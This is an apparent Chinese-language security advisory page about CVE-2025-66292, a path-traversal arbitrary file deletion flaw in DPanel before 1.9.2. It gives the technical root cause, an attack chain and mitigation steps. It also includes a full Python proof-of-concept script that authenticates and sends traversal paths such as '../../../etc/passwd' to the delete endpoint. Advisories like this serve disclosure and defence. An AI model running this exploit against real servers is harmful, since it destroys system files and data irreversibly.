IPBUF安全漏洞报告
English
CVE-2025-66292 CVSS 8.1 高危

CVE-2025-66292 DPanel 1.9.2前版本任意文件删除漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-66292
漏洞类型
路径遍历/任意文件删除
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
DPanel

相关标签

CVE-2025-66292路径遍历任意文件删除DPanelGo语言服务器管理面板身份验证绕过高危漏洞

漏洞概述

DPanel是一个用Go语言编写的开源服务器管理面板。在1.9.2之前的版本中,存在一处严重的任意文件删除漏洞。该漏洞位于/api/common/attach/delete接口,攻击者通过构造特殊的路径参数,利用路径遍历字符(../)可以删除服务器上的任意文件。由于该接口需要用户登录认证,攻击者只需拥有低权限账户即可利用此漏洞。此漏洞可能导致服务器配置被破坏、关键数据丢失,甚至可能造成服务中断。由于文件删除操作的不可逆性,即使后续修复漏洞,已删除的文件也无法恢复,造成的损失可能是永久性的。

技术细节

漏洞根源在于app/common/http/controller/attach.go文件中的Delete函数未对用户输入的path参数进行充分验证。用户提交的路径直接传递给storage.Local{}.GetSaveRealPath方法,随后传入os.Remove系统调用执行文件删除。虽然common/service/storage/local.go中的辅助函数使用了filepath.Join,该函数会解析../字符串,但由于缺乏chroot或jail机制,解析后的路径仍可能超出预期目录范围。攻击者可通过构造类似../../../etc/passwd的路径,突破目录限制删除系统关键文件。此漏洞的利用前提是攻击者已成功登录DPanel管理后台,获取了有效的会话凭证。由于DPanel是服务器管理面板,攻击者删除的文件可能包括系统配置文件、日志文件、甚至其他用户的业务数据,危害极大。

攻击链分析

STEP 1
步骤1
攻击者获取DPanel管理后台的有效账户凭证(通过弱口令、社工或其他方式)
STEP 2
步骤2
使用凭证登录DPanel,获取有效的会话Cookie或Token
STEP 3
步骤3
构造恶意请求到/api/common/attach/delete接口,path参数包含路径遍历payload如../../../etc/passwd
STEP 4
步骤4
服务器端代码将用户输入的路径传递给filepath.Join进行拼接,然后调用os.Remove删除文件
STEP 5
步骤5
由于缺乏路径验证和chroot限制,攻击者成功删除服务器上的任意文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-66292 DPanel Arbitrary File Deletion PoC # Target: DPanel < 1.9.2 # Endpoint: /api/common/attach/delete def delete_file(target_url, username, password, file_to_delete): """ Delete arbitrary file on DPanel server via path traversal Args: target_url: Base URL of DPanel (e.g., http://target.com:22222) username: Valid username for authentication password: Password for the user file_to_delete: File path to delete (can use ../ for traversal) """ # Step 1: Login to get session login_url = f"{target_url}/api/user/login" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error during login: {e}") return False # Step 2: Exploit path traversal to delete arbitrary file delete_url = f"{target_url}/api/common/attach/delete" delete_data = { "path": file_to_delete # e.g., "../../../etc/passwd" or "../../../var/log/syslog" } try: delete_response = session.post(delete_url, json=delete_data, timeout=10) if delete_response.status_code == 200: result = delete_response.json() if result.get('code') == 0: print(f"[+] Successfully deleted: {file_to_delete}") return True else: print(f"[-] Delete failed: {result.get('message')}") return False else: print(f"[-] Request failed with status code: {delete_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error during delete: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-66292.py <target_url> <username> <password> <file_to_delete>") print("Example: python cve-2025-66292.py http://target.com:22222 admin admin123 '../../../etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] print(f"[*] Target: {target}") print(f"[*] Target file: {file_path}") delete_file(target, user, pwd, file_path)

影响范围

DPanel < 1.9.2

防御指南

临时缓解措施
立即将DPanel升级至1.9.2版本。如果无法立即升级,可临时采取以下措施:1) 限制管理后台的访问权限,仅允许受信任的IP地址访问;2) 监控/api/common/attach/delete接口的访问日志,及时发现异常删除行为;3) 对关键文件和目录设置只读权限或备份;4) 考虑暂时禁用该接口直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表